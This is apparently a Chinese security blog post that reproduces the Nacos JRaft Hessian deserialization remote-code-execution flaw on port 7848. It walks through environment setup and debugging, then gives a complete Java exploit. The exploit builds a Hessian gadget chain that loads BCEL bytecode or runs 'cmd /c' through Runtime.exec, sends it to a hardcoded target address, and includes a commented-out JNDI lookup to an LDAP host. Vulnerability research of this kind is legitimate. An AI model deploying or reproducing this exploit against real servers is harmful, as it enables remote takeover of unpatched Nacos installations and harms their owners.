http://www.bmth666.cn/bmth_blog/2023/06/14/Nacos-Jraft-Hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96RCE%E5%88%86%E6%9E%90/
https://exp.ci/2023/06/14/Nacos-JRaft-Hessian-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/#2-0-%E6%97%A0%E6%8D%9F%E5%88%A9%E7%94%A8%E5%8E%9F%E7%90%86
https://y4er.com/posts/nacos-hessian-rce/
https://l3yx.github.io/2023/06/09/Nacos-Raft-Hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90
拉取源码
#由于项目是使用maven进行管理的,执行mvn clean install -Dmaven.test.skip=true
#进入到module:nacos-console【由于项目是使用SpringBoot】需要进行Run/Debug Configurations注意事宜:一定要增加VM options:-Dnacos.standalone=true, 否则启动的是集群模式
在编译过程中,会报错:consistency 的 entity 包不存在
这是由于 Nacos 使用了 Protobuf 序列化,这些不存在的类都是由 Protobuf 编译出来的,这里我们需要手动将编译出来的类放到源码中。
编译项目:可使用 mvn compile 命令 或 直接在 IDEA maven 视图中 双击 compile
编译完成后,打开nacos-consistency 项目的 target\generated-sources\protobuf\java\com\alibaba\nacos\consistency\entity 目录
即可看到生成的类
直接复制 entity 文件夹到 com.alibaba.nacos.consistency 下
下载nacos 在windows下运行,用 java版本小于8u251的版本运行
起来之后,7848就是我们要打的端口
为什么环境搭建就这么久。。。。。。
5月25日 Nacos 发布一条安全公告,声称其在 2.2.3 和 1.4.6 两个大版本修复了 7848 端口下一处 Hessian 反序列化漏洞
使用 NacosHessianSerializerFactory 代替了默认的 SerializerFactory,而这是一个白名单类。
第一个断点,是因为之前复现一直报错。key: "Could not find leader : naming_persistent_service_v2"Copy,所以定位到这来看下问题,这里由于第一次攻击会导致 raft 记录的集群地址失效我们需要删除 Nacos 根目录下 data 文件夹下的 protocol 文件夹,然后重启服务才能恢复。我们需要他走到execte()方法
走到onApply,这是他最核心的方法
跟进processor.onApply()方法,在此方法中反序列化
最终exp,写了两个方法,8u251之前,使用com.sun.org.apache.bcel.internal.util.JavaWrapper
加载bcel字节码实现rce。
8u251之后用ldap加载jackson。把脚本放到之前搭建的源码环境中,新建一个项目。注意Hessian2Input和Hessian2Output导入的版本4.0.63。
恶意的字节码类也要写好编译一下,贴到代码路径中
exp
import com.alibaba.nacos.consistency.entity.WriteRequest;
import com.alibaba.nacos.naming.core.v2.metadata.MetadataOperation;
import com.alipay.sofa.jraft.entity.PeerId;
import com.alipay.sofa.jraft.option.CliOptions;
import com.alipay.sofa.jraft.rpc.impl.GrpcClient;
import com.alipay.sofa.jraft.rpc.impl.MarshallerHelper;
import com.alipay.sofa.jraft.rpc.impl.cli.CliClientServiceImpl;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.google.protobuf.*;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import sun.reflect.misc.MethodUtil;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class exp
{
public static void main( String[] args ) throws Exception {
String address = "192.168.234.165:7848";
byte[] poc = build();
//初始化 RPC 服务
CliClientServiceImpl cliClientService = new CliClientServiceImpl();
cliClientService.init(new CliOptions());
PeerId leader = PeerId.parsePeer(address);
WriteRequest request = WriteRequest.newBuilder()
.setGroup("naming_instance_metadata")
.setData(ByteString.copyFrom(poc))
.build();
GrpcClient grpcClient = (GrpcClient) cliClientService.getRpcClient();
//反射添加WriteRequest,不然会抛出异常
Field parserClassesField = GrpcClient.class.getDeclaredField("parserClasses");
parserClassesField.setAccessible(true);
Map<String, Message> parserClasses = (Map) parserClassesField.get(grpcClient);
parserClasses.put(WriteRequest.class.getName(),WriteRequest.getDefaultInstance());
MarshallerHelper.registerRespInstance(WriteRequest.class.getName(),WriteRequest.getDefaultInstance());
Object res = grpcClient.invokeSync(leader.getEndpoint(), request,5000);
System.out.println(res);
}
private static byte[] build() throws Exception {
// 执行字节码
JavaClass evil = Repository.lookupClass("calc");
byte[] code= Files.readAllBytes(Paths.get("D:\\javajdk\\java\\JavaWeb\\com.Collections\\target\\test-classes\\evil.class"));
String payload = "$$BCEL$$" + Utility.encode(code, true);
SwingLazyValue slz = new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}});
UIDefaults uiDefaults1 = new UIDefaults();
uiDefaults1.put("_", slz);
UIDefaults uiDefaults2 = new UIDefaults();
uiDefaults2.put("_", slz);
// 执行jndi注入
// SwingLazyValue swingLazyValue = new SwingLazyValue("javax.naming.InitialContext","doLookup",new String[]{"ldap://172.17.0.1:1389/Jackson"});
//
// UIDefaults uiDefaults1 = new UIDefaults();
// UIDefaults uiDefaults2 = new UIDefaults();
// uiDefaults1.put("aaa", swingLazyValue);
// uiDefaults2.put("aaa", swingLazyValue);
HashMap hashMap = makeMap(uiDefaults1,uiDefaults2);
MetadataOperation metadataOperation = new MetadataOperation();
setFieldValue(metadataOperation,"metadata",hashMap);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output oo = new Hessian2Output(baos);
oo.setSerializerFactory(new SerializerFactory());
oo.getSerializerFactory().setAllowNonSerializable(true);
oo.writeObject(metadataOperation);
oo.flush();
return baos.toByteArray();
}
public static byte[] build(String cmd) throws Exception {
String[] command = {"cmd", "/c", cmd};
java.lang.reflect.Method invoke = MethodUtil.class.getMethod("invoke", java.lang.reflect.Method.class, Object.class, Object[].class);
Method exec = Runtime.class.getMethod("exec", String[].class);
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invoke, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{command}}});
//Object value = swingLazyValue.createValue(new UIDefaults());
//
//Method getClassFactoryMethod = SerializerFactory.class.getDeclaredMethod("getClassFactory");
//SwingLazyValue swingLazyValue1 = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invoke, new Object(), new Object[]{getClassFactoryMethod, SerializerFactory.createDefault(), new Object[]{}}});
//Object value = swingLazyValue1.createValue(new UIDefaults());
//
//Method allowMethod = ClassFactory.class.getDeclaredMethod("allow", String.class);
//SwingLazyValue swingLazyValue2 = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", new Object[]{invoke, new Object(), new Object[]{allowMethod, value, new Object[]{"*"}}});
//Object value1 = swingLazyValue2.createValue(new UIDefaults());
//System.out.println(value1);
UIDefaults u1 = new UIDefaults();
UIDefaults u2 = new UIDefaults();
u1.put("key", swingLazyValue);
u2.put("key", swingLazyValue);
HashMap hashMap = new HashMap();
Class node = Class.forName("java.util.HashMap$Node");
Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node);
constructor.setAccessible(true);
Object node1 = constructor.newInstance(0, u1, null, null);
Object node2 = constructor.newInstance(0, u2, null, null);
Field key = node.getDeclaredField("key");
key.setAccessible(true);
key.set(node1, u1);
key.set(node2, u2);
Field size = HashMap.class.getDeclaredField("size");
size.setAccessible(true);
size.set(hashMap, 2);
Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
Object arr = Array.newInstance(node, 2);
Array.set(arr, 0, node1);
Array.set(arr, 1, node2);
table.set(hashMap, arr);
HashMap hashMap1 = new HashMap();
size.set(hashMap1, 2);
table.set(hashMap1, arr);
HashMap map = new HashMap();
map.put(hashMap, hashMap);
map.put(hashMap1, hashMap1);
MetadataOperation metadataOperation = new MetadataOperation();
setFieldValue(metadataOperation,"metadata",hashMap);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(baos);
output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(metadataOperation);
output.flushBuffer();
Hessian2Input hessian2Input = new Hessian2Input(new ByteArrayInputStream(baos.toByteArray()));
SerializerFactory.createDefault().getClassFactory().allow("*");
// hessian2Input.readObject();
return baos.toByteArray();
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
public static void setFieldValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
网上好多脚本第一次执行exp的时候会报错:key: "java.lang.ClassCastException: java.util.HashMap cannot be cast to com.alibaba.nacos.naming.core.v2.metadata.MetadataOperation"Copy
类型转换异常,导致的服务出错
MetadataOperation metadataOperation = new MetadataOperation();
setFieldValue(metadataOperation,"metadata",hashMap);
执行效果